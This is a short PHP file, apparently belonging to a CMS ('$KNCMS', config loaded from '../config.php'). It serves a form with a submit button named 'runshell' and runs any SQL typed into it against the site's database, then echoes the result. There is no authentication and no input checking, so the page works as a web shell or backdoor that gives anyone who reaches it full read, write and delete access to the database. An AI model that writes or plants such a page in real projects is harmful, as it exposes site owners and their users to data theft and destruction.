require_once('../config.php');
if(isset($_POST['runshell'])){
    $result = $KNCMS->query($_POST['codesql']);
    if($result){
        $result = $result->fetch_array();$i=0;
        foreach($result as $data) echo $data.'<br>';
    }
}
<form method="POST">
    <input type="text" name="codesql"placeholder="SQL Code">
    <button type="submit" name="runshell" class="btn btn-primary">Gửi</button>
</form>